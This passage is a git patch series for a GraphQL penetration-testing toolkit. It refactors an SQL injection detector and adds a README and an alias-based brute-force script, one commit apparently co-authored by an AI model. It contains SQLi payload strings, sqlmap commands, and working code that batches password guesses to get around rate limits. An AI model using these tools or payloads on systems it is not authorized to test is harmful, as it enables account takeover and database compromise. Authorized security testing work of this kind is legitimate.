confirmation rules final_findings: List[Dict[str, Any]] = [] for (field_name, arg_name), items in temp_findings.items(): all_attack_null = True @@ -909,7 +1127,6 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, cr all_attack_null = False break if all_attack_null and not any(i.get("type", "").startswith("SQL_ERROR") for i in items): - print(Fore.BLUE + Style.DIM + f"[-] Suppressing {field_name}.{arg_name}: all attack responses null/empty and no SQL error.") continue types_present = set(i.get("type") for i in items) @@ -944,31 +1161,12 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, cr final_findings.append(rep) continue - print(Fore.BLUE + Style.DIM + f"[-] Suppressed probable false positive for {field_name}.{arg_name} (signals: {sorted(types_present)})") - return final_findings - -def print_findings_short(findings: List[Dict[str, Any]], truncate_len: int): - if not findings: - print(Fore.GREEN + "[*] No obvious SQLi indications were found using the configured payloads.") - return - print(Fore.RED + Style.BRIGHT + f"\n[!] Found {len(findings)} potential SQL injection findings:\n") - for i, f in enumerate(findings, 1): - print(Fore.RED + Style.BRIGHT + f"[{i}] {f.get('type')}: " + Style.RESET_ALL + f"{f.get('field')}.{f.get('arg')}") - if f.get('args_used'): - print(Fore.YELLOW + " Arguments used:" + Style.RESET_ALL + f" {f.get('args_used')}") - ev = f.get('evidence') or '' - print(Fore.YELLOW + " Evidence:" + Style.RESET_ALL + f" {truncate_str(str(ev), truncate_len)}") - if f.get('repro'): - print(Fore.CYAN + " Marker request:" + Style.RESET_ALL + f" {f.get('repro')}") - print(Fore.CYAN + " Recommended sqlmap command:" + Style.RESET_ALL) - print(Fore.WHITE + Style.DIM + f" {f.get('recommended_cmd')}") - print(Style.DIM + "-" * 80 + Style.RESET_ALL) - +# -------------------- CLI / main ------------------------------------------ def main(): - parser = argparse.ArgumentParser(description="GraphQL SQLi mini-detector (general crawler + extractor)") + parser = argparse.ArgumentParser(description="GraphQL SQLi mini-detector (compact grouped output)") parser.add_argument("endpoint", help="GraphQL endpoint URL") parser.add_argument("headers", nargs="?", help="Optional headers JSON", default=None) parser.add_argument("--crawl", action="store_true", help="Enable limited crawling to extract outputs and reuse them as inputs (opt-in)") @@ -980,9 +1178,12 @@ def main(): args = parser.parse_args() headers = try_parse_headers(args.headers) - findings = run_detector(args.endpoint, headers, crawl=args.crawl, crawl_depth=args.crawl_depth, max_requests=args.max_requests, max_items=args.max_items, crawl_delay=args.crawl_delay, verbose=args.verbose) - print_findings_short(findings, TRUNCATE_LEN_DEFAULT) + findings = run_detector(args.endpoint, headers, crawl=args.crawl, crawl_depth=args.crawl_depth, + max_requests=args.max_requests, max_items=args.max_items, + crawl_delay=args.crawl_delay, verbose=args.verbose) + grouped = group_findings_by_param(findings, args.endpoint) + print_grouped_summary(grouped) if __name__ == "__main__": main() From d88955c795bec7c51107d1ac3774c20e1600bebc Mon Sep 17 00:00:00 2001 From: jonyluke Date: Wed, 17 Dec 2025 17:20:01 +0100 Subject: [PATCH 22/30] Remove compute_confidence function and related code --- sqli/sqli_detector.py | 50 +------------------------------------------ 1 file changed, 1 insertion(+), 49 deletions(-) diff --git a/sqli/sqli_detector.py b/sqli/sqli_detector.py index 92cdf5d..2160edf 100644 --- a/sqli/sqli_detector.py +++ b/sqli/sqli_detector.py @@ -93,7 +93,6 @@ def __getattr__(self, name): return "" TIMEOUT = 20 REPRO_DIR = "repro-payloads" INDEX_FILE = "index.json" -TRUNCATE_LEN_DEFAULT = 120 EVIDENCE_MAX_CHARS = 80 # max chars to display for evidence in console # -------------------- Utilities ------------------------------------------- @@ -189,15 +188,6 @@ def truncate_str(s: str, n: int = 180) -> str: s = str(s) return s if len(s) <= n else s[:n] + "..." -def first_evidence_line(evidence: str, max_len: int = 200) -> str: - if not evidence: - return "" - for ln in evidence.splitlines(): - ln = ln.strip() - if ln: - return truncate_str(ln, max_len) - return truncate_str(evidence, max_len) - def build_query(field_name: str, args_dict: Dict[str, str], selection: Optional[str]) -> Dict[str, Any]: if args_dict: args_str = ", ".join([f'{k}: {json.dumps(v)}' for k, v in args_dict.items()]) @@ -543,25 +533,6 @@ def collect(obj: Any, prefix: Optional[str] = None): # -------------------- Grouping & printing (left-aligned compact) ----------- -def compute_confidence(evidence_type: str, payload: str, has_repro: bool) -> float: - weights = { - "SQL_ERROR": 0.6, - "SQL_ERROR_IN_RESPONSE": 0.6, - "SQL_ERROR_IN_RESPONSE_SIMPLE": 0.6, - "RESPONSE_DIFF": 0.2, - "RESPONSE_DIFF_SIMPLE": 0.1, - "NULL_ON_ATTACK": 0.15, - } - base = weights.get(evidence_type, 0.1) - payload_bonus = 0.0 - if payload and re.search(r"(\bOR\b|\bUNION\b|--|/\*|')", payload, re.I): - payload_bonus = 0.1 - repro_bonus = 0.15 if has_repro else 0.0 - score = base + payload_bonus + repro_bonus - if score > 0.99: - score = 0.99 - return round(score, 2) - def group_findings_by_param(findings: List[Dict[str, Any]], endpoint: str) -> Dict[str, Any]: grouped: Dict[str, Any] = {} for f in findings: @@ -575,7 +546,6 @@ def group_findings_by_param(findings: List[Dict[str, Any]], endpoint: str) -> Di repro = f.get("repro") or "" recommended_cmd = f.get("recommended_cmd") or (_build_sqlmap_cmd_marker(repro) if repro else "") timestamp = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ") - confidence = compute_confidence(evidence_type, payload or "", bool(repro)) occ_list = grouped.setdefault(param, {"occurrences": {}, "aggregate": {}}) occ_key = f"{field} @ {endpoint}" occ = occ_list["occurrences"].setdefault(occ_key, {"field": field, "endpoint": endpoint, "args_context": args_context, "findings": []}) @@ -588,7 +558,6 @@ def group_findings_by_param(findings: List[Dict[str, Any]], endpoint: str) -> Di "repro": repro, "recommended_cmd": recommended_cmd, "timestamp": timestamp, - "confidence": confidence, "args_used": f.get("args_used") }) for param, data in list(grouped.items()): @@ -765,24 +734,7 @@ def detect_graphql_syntax_error(resp_data: Dict[str, Any]) -> Optional[str]: return msg return None -def compute_confidence(evidence_type: str, payload: str, has_repro: bool) -> float: - weights = { - "SQL_ERROR": 0.6, - "SQL_ERROR_IN_RESPONSE": 0.6, - "SQL_ERROR_IN_RESPONSE_SIMPLE": 0.6, - "RESPONSE_DIFF": 0.2, - "RESPONSE_DIFF_SIMPLE": 0.1, - "NULL_ON_ATTACK": 0.15, - } - base = weights.get(evidence_type, 0.1) - payload_bonus = 0.0 - if payload and re.search(r"(\bOR\b|\bUNION\b|--|/\*|')", payload, re.I): - payload_bonus = 0.1 - repro_bonus = 0.15 if has_repro else 0.0 - score = base + payload_bonus + repro_bonus - if score > 0.99: - score = 0.99 - return round(score, 2) + # -------------------- Main detection logic -------------------------------- From 06b68409c39bc46a1b2da8886155526be3273672 Mon Sep 17 00:00:00 2001 From: jonyluke Date: Wed, 17 Dec 2025 17:27:22 +0100 Subject: [PATCH 23/30] Update sqli_detector.py --- sqli/sqli_detector.py | 21 ++++++++++++++++++++- 1 file changed, 20 insertions(+), 1 deletion(-) diff --git a/sqli/sqli_detector.py b/sqli/sqli_detector.py index 2160edf..b92accc 100644 --- a/sqli/sqli_detector.py +++ b/sqli/sqli_detector.py @@ -546,6 +546,7 @@ def group_findings_by_param(findings: List[Dict[str, Any]], endpoint: str) -> Di repro = f.get("repro") or "" recommended_cmd = f.get("recommended_cmd") or (_build_sqlmap_cmd_marker(repro) if repro else "") timestamp = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ") + confidence = compute_confidence(evidence_type, payload or "", bool(repro)) occ_list = grouped.setdefault(param, {"occurrences": {}, "aggregate": {}}) occ_key = f"{field} @ {endpoint}" occ = occ_list["occurrences"].setdefault(occ_key, {"field": field, "endpoint": endpoint, "args_context": args_context, "findings": []}) @@ -558,6 +559,7 @@ def group_findings_by_param(findings: List[Dict[str, Any]], endpoint: str) -> Di "repro": repro, "recommended_cmd": recommended_cmd, "timestamp": timestamp, + "confidence": confidence, "args_used": f.get("args_used") }) for param, data in list(grouped.items()): @@ -734,7 +736,24 @@ def detect_graphql_syntax_error(resp_data: Dict[str, Any]) -> Optional[str]: return msg return None - +def compute_confidence(evidence_type: str, payload: str, has_repro: bool) -> float: + weights = { + "SQL_ERROR": 0.6, + "SQL_ERROR_IN_RESPONSE": 0.6, + "SQL_ERROR_IN_RESPONSE_SIMPLE": 0.6, + "RESPONSE_DIFF": 0.2, + "RESPONSE_DIFF_SIMPLE": 0.1, + "NULL_ON_ATTACK": 0.15, + } + base = weights.get(evidence_type, 0.1) + payload_bonus = 0.0 + if payload and re.search(r"(\bOR\b|\bUNION\b|--|/\*|')", payload, re.I): + payload_bonus = 0.1 + repro_bonus = 0.15 if has_repro else 0.0 + score = base + payload_bonus + repro_bonus + if score > 0.99: + score = 0.99 + return round(score, 2) # -------------------- Main detection logic -------------------------------- From 7b1998df398e468c8f2475f3813e579070be2301 Mon Sep 17 00:00:00 2001 From: Jony Date: Mon, 8 Jun 2026 11:28:44 +0200 Subject: [PATCH 24/30] Refactor project structure and add alias_brute tool MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Extract shared logic (introspection fetch/bypass, HTTP helpers, colour output) into a new core/ package to eliminate duplication across the three original scripts. - Rename qGen/ → qgen/ (lowercase) for consistency. - effuzz: add --discover (probe common GraphQL paths + confirm with {__typename}) and --check-methods (CSRF surface: GET + form-urlencoded tests); now fuzzes mutations as well as queries. - qgen: auto-confirm endpoint with {__typename} before introspection; retry automatically with newline-bypass if standard introspection fails. - sqli: replace inline header-parsing and colorama boilerplate with imports from core/; improve CLI validation and help text. - Add alias_brute/alias_brute.py: alias-based brute-force that batches N login attempts as GraphQL aliases in a single HTTP request, bypassing rate limiters that count by HTTP request. - Replace per-tool READMEs and requirements.txt with a single root README.md and requirements.txt covering all tools. Co-Authored-By: Claude Sonnet 4.6 --- README.md | 432 +++++++++++++-- alias_brute/__init__.py | 0 alias_brute/alias_brute.py | 237 ++++++++ core/__init__.py | 0 core/http.py | 90 +++ core/introspection.py | 143 +++++ core/output.py | 25 + effuzz/README.md | 135 ----- effuzz/__init__.py | 0 effuzz/effuzz.py | 635 ++++++++++++---------- qGen/README.md | 132 ----- qGen/qGen.py | 598 -------------------- qgen/__init__.py | 0 qgen/qgen.py | 449 +++++++++++++++ sqli/requirements.txt => requirements.txt | 0 sqli/README.md | 146 ----- sqli/__init__.py | 0 sqli/sqli_detector.py | 100 ++-- 18 files changed, 1725 insertions(+), 1397 deletions(-) create mode 100644 alias_brute/__init__.py create mode 100644 alias_brute/alias_brute.py create mode 100644 core/__init__.py create mode 100644 core/http.py create mode 100644 core/introspection.py create mode 100644 core/output.py delete mode 100644 effuzz/README.md create mode 100644 effuzz/__init__.py delete mode 100644 qGen/README.md delete mode 100644 qGen/qGen.py create mode 100644 qgen/__init__.py create mode 100644 qgen/qgen.py rename sqli/requirements.txt => requirements.txt (100%) delete mode 100644 sqli/README.md create mode 100644 sqli/__init__.py diff --git a/README.md b/README.md index 47ed220..7a952f3 100644 --- a/README.md +++ b/README.md @@ -1,87 +1,399 @@ # GraphQL-Scripts -This repository contains a set of small utilities to help with security testing and exploration of GraphQL endpoints. +Security testing toolkit for GraphQL endpoints. Covers schema discovery, permission enumeration, query generation, SQL injection detection, and alias-based brute-forcing. -Included tools -- qGen — interactive Query Generator: lists schema methods and generates full GraphQL queries (selection sets) for a chosen method. -- effuzz — Endpoint Fuzzer: enumerates query/mutation names from a schema and performs lightweight requests to identify methods you can call (ffuf-like for GraphQL). -- sqli — SQLi Detector helper: probes string arguments for SQL injection indicators and writes sqlmap marker files for reproducible testing. +> **Authorization only.** Run these tools exclusively on systems for which you have explicit written permission. -Quick notes -- Tools accept an introspection JSON file via `--introspection`. -- If `--introspection` is omitted, `qGen` and `effuzz` can fetch the schema automatically from `--url` (requires the `requests` package). Automatic introspection is saved by default to `introspection_schema.json` (disable with `--no-save-introspection`). -- Use these tools only on systems for which you have explicit authorization. +--- + +## Tools at a glance + +| Tool | What it does | +|---|---| +| [qgen](#qgen) | Interactive query generator: lists schema methods and builds full queries | +| [effuzz](#effuzz) | Endpoint fuzzer: enumerates ops and checks accessibility (ffuf-style output) | +| [sqli](#sqli) | SQLi detector: tests string arguments with SQL payloads, writes sqlmap markers | +| [alias_brute](#alias_brute) | Alias brute-force: bypasses rate limiters via GraphQL alias batching | + +--- + +## Requirements -Requirements - Python 3.7+ -- For automatic introspection / HTTP requests: pip install requests +- `requests` (all tools) +- `colorama` (optional — coloured output in `sqli`) + +```bash +pip install -r requirements.txt +``` -Basic workflow (recommended) -1. Use `effuzz` to quickly determine which methods the current session can call (permission discovery). -2. Use `qGen` to generate a full query for an interesting method and paste the result into your GraphQL client (Burp, Postman, GraphiQL, etc.). -3. Optionally use the `sqli` helper to target string arguments for SQLi checks and produce sqlmap marker files. +--- -effuzz — quick example -- Run with a saved introspection file: -```shell -python3 effuzz/effuzz.py --introspection /path/to/introspection_schema.json --url https://example.com/graphql +## Project structure + +``` +GraphQL-Scripts/ +├── core/ +│ ├── introspection.py # Fetch, load, save, and bypass-test introspection +│ ├── http.py # Header parsing and cookie file helpers +│ └── output.py # ANSI colours and colorama re-exports +├── qgen/ +│ └── qgen.py # Interactive query generator +├── effuzz/ +│ └── effuzz.py # Endpoint fuzzer +├── sqli/ +│ └── sqli_detector.py # SQL injection detector +└── alias_brute/ + └── alias_brute.py # Alias-based brute-force ``` -- Example (sanitized) sample output: -```text -[✓] Introspection loaded (120 queries, 8 mutations) ------------------------------------------------------------- -getAllTests [Status: 401] [Size: 32] [Words: 5] [Lines: 1] -getAllUsers [Status: 400] [Size: 261] [Words: 25] [Lines: 1] # malformed query -> server accepted request (likely allowed) -getAllConfigs [Status: 200] [Size: 48] [Words: 15] [Lines: 1] # likely accessible ------------------------------------------------------------- -(Use --debug to dump full responses) +--- + +## Recommended workflow + ``` +1. effuzz --discover → find the endpoint and map accessible operations +2. qgen → generate full queries for interesting methods +3. sqli → probe string arguments for SQL injection +4. alias_brute → brute-force if rate limiting is suspected +``` + +### End-to-end example + +```bash +# 1. Discover the endpoint and map permissions +python3 effuzz/effuzz.py --url https://target.com --discover \ + -H "Cookie: session=abc123" --filter-code 401 + +# 2. Check CSRF surface while we're at it +python3 effuzz/effuzz.py --url https://target.com/graphql --check-methods -What to infer from effuzz output -- 401 / 403: authentication/authorization required. -- 400: GraphQL often returns 400 for malformed queries; if the server returns 400 rather than 401, it usually indicates your request reached the server (the method exists and you may have permission). -- 200: successful request — inspect the body for `data` or `errors`. +# 3. Generate queries for a method of interest +python3 qgen/qgen.py --url https://target.com/graphql \ + -H "Authorization: Bearer TOKEN" +# qgen $ use getUser -qGen — quick example -- Run with a saved introspection file: -```shell -python3 qGen/qGen.py --introspection /path/to/introspection_schema.json +# 4. Scan for SQLi +python3 sqli/sqli_detector.py https://target.com/graphql \ + '{"Authorization":"Bearer TOKEN"}' --crawl + +# 5. Brute-force a login (if rate limiting is bypassed via aliases) +python3 alias_brute/alias_brute.py https://target.com/graphql \ + --field login --username carlos --wordlist /usr/share/wordlists/rockyou.txt ``` -- Interactive session (sanitized): -```text -qGen $ listMethods - [1] getAllUsers - [2] getUserById +--- + +## qgen -qGen $ use getAllUsers -# The full query is printed and saved to queries/getAllUsers.txt +Interactive CLI that loads a GraphQL schema (from file or auto-introspection) and generates complete query/mutation documents with all nested fields and example variable values. + +### Usage + +```bash +python3 qgen/qgen.py [--introspection FILE | --url URL] [options] ``` -Notes about qGen -- The `use` command selects a method and immediately generates & saves the full query (no separate `genQuery` step). -- Generated queries are saved in the `queries/` directory. +### Options + +| Flag | Description | +|---|---| +| `--introspection FILE` | Load schema from a JSON file | +| `--url URL` | Fetch schema from the endpoint (auto-introspection) | +| `-H "Name: Value"` | HTTP header, repeatable | +| `--cookie FILE` | Cookie file (one line) | +| `--save-introspection` | Save fetched schema to `introspection_schema.json` (default: on) | +| `--no-save-introspection` | Do not save schema to disk | + +When `--url` is used, qgen first sends `{__typename}` to confirm the endpoint is live GraphQL before running the full introspection. If the standard introspection query is blocked, it automatically retries with the newline-bypass variant (`__schema\n{...}`). + +### Interactive commands + +| Command | Description | +|---|---| +| `listMethods` | List all query `(Q)` and mutation `(M)` methods | +| `listMethods \| grep ` | Filter the list | +| `use ` | Generate the full query for that method and save it | +| `help` | Show command list | +| `exit` | Quit | + +### Example session + +``` +$ python3 qgen/qgen.py --url https://target.com/graphql -H "Authorization: Bearer TOKEN" + +[+] Endpoint confirmed — __typename: Query +[+] Introspection obtained. +[+] Schema loaded: 42 queries, 8 mutations + +qgen $ listMethods | grep user + [3] (Q) getUser + [4] (Q) listUsers + [14] (M) createUser + +qgen $ use 3 +[+] Selected: getUser + +---------------------------------------- +query getUser($id: ID!) { + getUser(id: $id) { + id + username + email + role + } +} +---------------------------------------- +[+] Query saved to: queries/getUser.txt +``` + +Generated queries are saved to `queries/.txt`. + +--- + +## effuzz + +Lightweight GraphQL fuzzer. Fetches the schema, enumerates every query and mutation, and sends a minimal request for each to gauge accessibility — similar to ffuf but for GraphQL operations. + +### Usage -sqli helper — quick example -- Install requirements (if provided) or at minimum: ```bash -pip install requests +python3 effuzz/effuzz.py --url URL [options] ``` -- Run (headers passed as JSON string is one supported way; consult script help for options): +### Options + +| Flag | Description | +|---|---| +| `--url URL` | GraphQL endpoint URL (base URL when `--discover` is used) | +| `--introspection FILE` | Load schema from file instead of fetching | +| `--discover` | Probe common GraphQL paths and confirm each with `{__typename}` | +| `--check-methods` | Test GET query-param and form-urlencoded POST support (CSRF surface) | +| `-H "Name: Value"` | HTTP header, repeatable | +| `--cookie FILE` | Cookie file (one line) | +| `--variables FILE` | JSON file with variables to include in every request | +| `-s / --silent` | Hide 401 responses | +| `--match-code CODES` | Show only these status codes (e.g. `200,400`) | +| `--filter-code CODES` | Hide these status codes (e.g. `401,403`) | +| `--debug` | Print full response body for each request | +| `--save-introspection` | Save schema to disk (default: on) | +| `--no-save-introspection` | Do not save schema | + +### --discover + +Probes the following paths and confirms each with `{__typename}`: + +``` +/graphql /api/graphql /graphiql /graphql/console +/api /graphql/api /graphql/graphql /graphql.php +``` + +The first confirmed endpoint is used for fuzzing. Pass the base URL (e.g. `https://target.com`). + +### --check-methods (CSRF surface) + +Tests two request types that bypass CORS preflight: + +1. **GET** with `?query={__typename}` — exploitable without preflight if accepted +2. **POST** with `Content-Type: application/x-www-form-urlencoded` — same + +If either is accepted and auth relies solely on session cookies, CSRF is likely possible. + +### Examples + ```bash -python3 sqli/sqli_detector.py https://example.com/graphql '{"Authorization":"Bearer TOKEN"}' +# Discover endpoint path first, then fuzz +python3 effuzz/effuzz.py --url https://target.com --discover \ + -H "Authorization: Bearer TOKEN" + +# Check CSRF surface +python3 effuzz/effuzz.py --url https://target.com/graphql --check-methods + +# Show only accessible methods +python3 effuzz/effuzz.py --url https://target.com/graphql \ + --filter-code 401,403 -H "Authorization: Bearer TOKEN" + +# Load saved schema, debug first result +python3 effuzz/effuzz.py --url https://target.com/graphql \ + --introspection introspection_schema.json --match-code 200 --debug ``` -- Sample (sanitized) output: -```text -VULNERABLE PARAMETER: username (field: user) -Evidence: Baseline != Attack (baseline {"data": {"user": null}}, attack {"data": {"user": {"uuid": "1"}}}) -Recommended sqlmap command: -sqlmap -r 'repro-payloads/user_username___marker.http' -p "JSON[query]" --batch --skip-urlencode --parse-errors --random-agent +### Output interpretation + +| Status | Meaning | +|---|---| +| `200` (green) | Request succeeded, response has no `errors` | +| `200` (yellow) | Request reached the server but response contains `errors` | +| `400` | Malformed query — server accepted the request; method likely exists | +| `401` / `403` | Authentication or authorisation required | +| `500` | Server error — worth investigating | + +--- + +## sqli + +SQL injection detector for GraphQL. Performs introspection, seeds argument values via optional BFS crawling, and tests every string-type argument with a curated set of SQL payloads. Writes reproducible `.http` marker files for sqlmap. + +### Usage + +```bash +python3 sqli/sqli_detector.py [headers] [options] +``` + +### Options + +| Flag | Description | +|---|---| +| `endpoint` | GraphQL endpoint URL (required) | +| `headers` | Optional headers: JSON object string or `"Name: Value"` pairs | +| `--crawl` | BFS crawl to extract real values for smarter argument seeding | +| `--crawl-depth N` | BFS depth (default: 2) | +| `--max-requests N` | Request cap during crawl (default: 250) | +| `--max-items N` | Items per list to inspect (default: 10) | +| `--crawl-delay S` | Delay between requests in seconds (default: 0) | +| `--verbose` | Print queries and debug information | + +### Payloads tested + +``` +'" OR "1"="1 ' OR '1'='1 ' OR 1=1-- +admin' -- x' UNION SELECT NULL-- +"' OR 1=1 -- ' admin'/* admin"/* +``` + +### Evidence types + +| Type | Description | +|---|---| +| `SQL_ERROR` | SQL error message appears in the GraphQL `errors` array | +| `RESPONSE_DIFF` | Full-selection attack response differs from baseline | +| `NULL_ON_ATTACK` | Attack returns null while baseline returned data | +| `RESPONSE_DIFF_SIMPLE` | `__typename` differs between baseline and attack | + +All evidence types go through confirmation rules to reduce false positives before being reported. + +### Examples + +```bash +# Basic scan +python3 sqli/sqli_detector.py https://target.com/graphql \ + '{"Authorization":"Bearer TOKEN"}' + +# With crawling for better argument seeding +python3 sqli/sqli_detector.py https://target.com/graphql \ + '{"Authorization":"Bearer TOKEN"}' \ + --crawl --crawl-depth 3 --max-requests 500 + +# Verbose (see every query sent) +python3 sqli/sqli_detector.py https://target.com/graphql --verbose +``` + +### Marker files and sqlmap + +Findings are saved to `repro-payloads/___marker.http`. Each file is a raw HTTP POST with the payload replaced by `*` — ready for sqlmap: + +```bash +sqlmap --level 5 --risk 3 \ + -r repro-payloads/user_username_abc12345_marker.http \ + -p "JSON[query]" --batch --skip-urlencode --parse-errors --random-agent +``` + +An index of all findings is kept at `repro-payloads/index.json`. + +--- + +## alias_brute + +Bypasses GraphQL rate limiters by batching hundreds of login attempts as aliases inside a **single HTTP request**. Rate limiters that count HTTP requests but not operations per request are trivially bypassed. + +### How it works + +```graphql +mutation { + bruteforce0: login(input: {username: "carlos", password: "123456"}) { token } + bruteforce1: login(input: {username: "carlos", password: "password"}) { token } + bruteforce2: login(input: {username: "carlos", password: "qwerty"}) { token } + ...100 more per request... +} +``` + +One HTTP request contains 100 attempts. A 10 req/s rate limit becomes effectively 1 000 attempts/s. + +### Usage + +```bash +python3 alias_brute/alias_brute.py \ + --field FIELD --username USER --wordlist FILE [options] ``` -Security & ethics -- These tools actively probe targets; run them only on systems you are authorized to test. -- Inspect any generated marker files before running sqlmap or other automated tooling. +### Options + +| Flag | Description | +|---|---| +| `endpoint` | GraphQL endpoint URL (required) | +| `--field NAME` | Mutation/query field to target (e.g. `login`) | +| `--arg-user NAME` | Username argument name (default: `username`) | +| `--arg-pass NAME` | Password argument name (default: `password`) | +| `--username VALUE` | Username for all attempts | +| `--wordlist FILE` | Password wordlist, one per line | +| `--success-field NAME` | Field to check for non-null value (default: `token`) | +| `--operation TYPE` | `mutation` or `query` (default: `mutation`) | +| `--batch-size N` | Aliases per HTTP request (default: 100, max: 1000) | +| `--no-input-wrapper` | Use flat args instead of `input: {...}` wrapper | +| `-H "Name: Value"` | HTTP header, repeatable | +| `--cookie FILE` | Cookie file (one line) | +| `--timeout S` | Request timeout in seconds (default: 30) | +| `--verbose` | Print generated payload before each batch | + +### Examples + +```bash +# Standard login with 'input' wrapper (most common) +python3 alias_brute/alias_brute.py https://target.com/graphql \ + --field login \ + --username carlos \ + --wordlist /usr/share/wordlists/rockyou.txt \ + -H "Authorization: Bearer UNAUTHENTICATED_TOKEN" + +# Flat args (no 'input' wrapper) +python3 alias_brute/alias_brute.py https://target.com/graphql \ + --field authenticate \ + --arg-user email --arg-pass password \ + --username admin@target.com \ + --wordlist passwords.txt \ + --no-input-wrapper + +# Check 'success' field instead of 'token' +python3 alias_brute/alias_brute.py https://target.com/graphql \ + --field login --username carlos \ + --wordlist passwords.txt \ + --success-field jwt +``` + +### Sample output + +``` +[*] Target: https://target.com/graphql +[*] Operation: mutation { login(input: {...}) } +[*] Username: carlos +[*] Wordlist: 500 passwords +[*] Batch size: 100 aliases/request → 5 request(s) +[*] Success on: non-null 'token' + +[*] Batch 1/5 (#1–#100)... HTTP 200 (no hit) +[*] Batch 2/5 (#101–#200)... HTTP 200 (no hit) +[*] Batch 3/5 (#201–#300)... HTTP 200 + +[+] SUCCESS — alias bruteforce47 + Password: letmein + token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9... +``` + +--- + +## Security & ethics + +- These tools **actively probe targets**. Use them only on systems you are authorised to test. +- Automated scanning can trigger alarms, rate limits, account lockouts, or WAF bans. +- Inspect `.http` marker files before running sqlmap or any other automated follow-up tool. +- These tools are intended for authorised penetration testing, CTF competitions, and security research. diff --git a/alias_brute/__init__.py b/alias_brute/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/alias_brute/alias_brute.py b/alias_brute/alias_brute.py new file mode 100644 index 0000000..c029d3b --- /dev/null +++ b/alias_brute/alias_brute.py @@ -0,0 +1,237 @@ +#!/usr/bin/env python3 +""" +alias_brute.py — GraphQL alias-based brute-force for rate limit bypass. + +GraphQL aliases let you run the same field multiple times with different arguments +in a single HTTP request: + + mutation { + bruteforce0: login(input: {username: "carlos", password: "123456"}) { token } + bruteforce1: login(input: {username: "carlos", password: "password"}) { token } + ... + } + +A rate limiter that counts HTTP requests will see only one request, not hundreds. +Detection: the first alias whose success field is non-null is flagged as the hit. +""" + +import json +import os +import sys +import argparse +from typing import List, Optional, Tuple + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +try: + import requests +except ImportError: + print("[!] 'requests' library required. Install with: pip install requests", + file=sys.stderr) + sys.exit(1) + +from core.http import build_headers +from core.output import GREEN, RED, YELLOW, CYAN, RESET + + +def build_alias_payload(field: str, + arg_user: str, + arg_pass: str, + username: str, + passwords: List[str], + success_fields: List[str], + operation: str = "mutation", + use_input_wrapper: bool = True) -> str: + """Build a GraphQL document with one alias per password entry.""" + selection = " ".join(success_fields) if success_fields else "__typename" + aliases = [] + for i, pw in enumerate(passwords): + escaped_user = json.dumps(username) + escaped_pass = json.dumps(pw) + if use_input_wrapper: + args_str = f"input: {{{arg_user}: {escaped_user}, {arg_pass}: {escaped_pass}}}" + else: + args_str = f"{arg_user}: {escaped_user}, {arg_pass}: {escaped_pass}" + aliases.append( + f" bruteforce{i}: {field}({args_str}) {{ {selection} }}" + ) + return f"{operation} {{\n" + "\n".join(aliases) + "\n}" + + +def send_batch(url: str, headers: dict, query: str, timeout: int = 30) -> Optional[requests.Response]: + try: + return requests.post(url, headers=headers, json={"query": query}, timeout=timeout) + except requests.exceptions.RequestException as e: + print(f"\n[!] Request error: {e}", file=sys.stderr) + return None + + +def find_success(response_data: dict, + batch_offset: int, + passwords: List[str], + success_field: str) -> Tuple[Optional[int], Optional[str], Optional[str]]: + """Scan alias responses for a non-null success_field. + + Returns (alias_index, password, value) or (None, None, None). + """ + if not isinstance(response_data, dict): + return None, None, None + data = response_data.get("data") or {} + if not isinstance(data, dict): + return None, None, None + + for alias_key, alias_data in data.items(): + if not alias_key.startswith("bruteforce"): + continue + try: + i = int(alias_key[len("bruteforce"):]) + except ValueError: + continue + if not isinstance(alias_data, dict): + continue + value = alias_data.get(success_field) + if value is not None: + pw_index = batch_offset + i + if pw_index < len(passwords): + return i, passwords[pw_index], str(value) + return None, None, None + + +def main(): + parser = argparse.ArgumentParser( + description="GraphQL alias brute-force — bypass rate limiting via alias batching", + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=( + "Examples:\n" + " python3 alias_brute/alias_brute.py https://target.com/graphql \\\n" + " --field login --username carlos --wordlist passwords.txt\n\n" + " # Flat args (no 'input' wrapper):\n" + " python3 alias_brute/alias_brute.py https://target.com/graphql \\\n" + " --field login --username carlos --wordlist passwords.txt --no-input-wrapper\n" + ), + ) + parser.add_argument("endpoint", help="GraphQL endpoint URL") + parser.add_argument("--field", required=True, + help="Mutation/query field to target (e.g. login)") + parser.add_argument("--arg-user", default="username", + help="Username argument name (default: username)") + parser.add_argument("--arg-pass", default="password", + help="Password argument name (default: password)") + parser.add_argument("--username", required=True, + help="Username value for all attempts") + parser.add_argument("--wordlist", required=True, + help="Wordlist file — one password per line") + parser.add_argument("--success-field", default="token", + help="Field to check for non-null value to detect success (default: token)") + parser.add_argument("--operation", default="mutation", + choices=["mutation", "query"], + help="GraphQL operation type (default: mutation)") + parser.add_argument("--batch-size", type=int, default=100, + help="Aliases per HTTP request (default: 100)") + parser.add_argument("--no-input-wrapper", dest="input_wrapper", + action="store_false", + help="Use flat args instead of 'input: {...}' wrapper") + parser.set_defaults(input_wrapper=True) + parser.add_argument("-H", "--header", action="append", default=[], + metavar="Name: Value", + help="HTTP header (repeatable)") + parser.add_argument("--cookie", metavar="FILE", help="Cookie file (one line)") + parser.add_argument("--timeout", type=int, default=30, + help="Request timeout in seconds (default: 30)") + parser.add_argument("--verbose", action="store_true", + help="Print the generated payload before each batch") + args = parser.parse_args() + + # --- Validate --- + if not 1 <= args.batch_size <= 1000: + print("[!] --batch-size must be between 1 and 1000.", file=sys.stderr) + sys.exit(1) + + if not os.path.isfile(args.wordlist): + print(f"[!] Wordlist not found: {args.wordlist!r}", file=sys.stderr) + sys.exit(1) + + if args.cookie and not os.path.isfile(args.cookie): + print(f"[!] Cookie file not found: {args.cookie!r}", file=sys.stderr) + sys.exit(1) + + with open(args.wordlist, "r", encoding="utf-8", errors="replace") as f: + passwords = [line.rstrip("\n\r") for line in f if line.strip()] + + if not passwords: + print("[!] Wordlist is empty.", file=sys.stderr) + sys.exit(1) + + headers = build_headers(args.header, args.cookie) + success_fields = [args.success_field] + + total = len(passwords) + batch_size = args.batch_size + num_batches = (total + batch_size - 1) // batch_size + wrapper_note = "input: {...}" if args.input_wrapper else "flat args" + + print(f"[*] Target: 